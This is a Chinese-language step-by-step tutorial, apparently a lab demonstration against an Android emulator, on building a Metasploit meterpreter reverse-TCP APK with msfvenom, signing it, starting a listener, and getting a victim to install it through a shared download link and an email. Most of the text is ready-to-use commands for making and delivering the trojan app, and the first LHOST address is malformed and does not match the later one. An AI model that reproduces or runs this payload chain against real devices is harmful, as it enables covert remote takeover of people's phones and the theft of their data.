在这次的实验中,我会使用 kali linux 和安卓模拟器演示如何使用M etasploit 框架控制A ndroid 设备。
我们需要两台虚拟机: Kali Linux 和安卓模拟器。
打开 vm 启动 Kali linux 。接着打开终端,使用 msfvenom 制作 android 利用程序。
Msfvenom 是 msfpayload 和 msfencode 的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom 用来制造的有效载荷用来渗透 Android 模拟器。
一旦打开终端提示符下输入以下命令,使用 msfvenom 工具来创建有效载荷 APK 文件。
```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R > /root/Desktop/pentest.apk
```
p 设置要使用的 payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后,你会看到一些错误,但不用担心。现在可以到输出目录查看生成的 apk 了。
我们已经成功创建了 Android 格式( APK )文件的有效载荷。现在一般 Android 的移动设备不允许安装没有适当签名证书的应用程序。 Android 设备只安装带有签署文件的 APK 。
我们可以使用如下工具进行手动签名:
l Keytool ( 已安装 )
l jar signer ( 已安装 )
l zipalign ( 需要安装 )
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
`
然后使用 JARsigner 签名 APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用 JARsigner 验证签名
jarsigner -verify -verbose -certs APPNAME.apk
`
Kali 没有预装 Zipalign ,需要先 apt-get install zipalign 。然后用 zipalign 来验证 apk 。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的 APK ,它可以安装在任何设备上。
接下来启动 metasploit 的监听器。执行 msfconsole 打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的 APK 发送到手机上。我们这里使用一个网盘上传我们的 APK ,并将下载链接分享出去。
这是我们切换到安卓模拟器。
1、 从 https://code.google.com/archive/p/android-x86/downloads 下载 android x86 的 iso 。
2、 使用 vmware 创建一个内核版本为 2.6 的虚拟机。
3、 挂载镜像,启动虚拟机。
4、 进入 Live 模式。
5、 设置手机并登陆谷歌帐号。
在安卓模拟器里面点击那个链接并下载。我们已经发送了一封邮件到受害者的谷歌帐号上。
另外要允许安卓安装来历不明的 apk 。
切换回 Kali ,我们发现创建了一个新的会话。
然后你就可以为所欲为的操作这台“手机”了。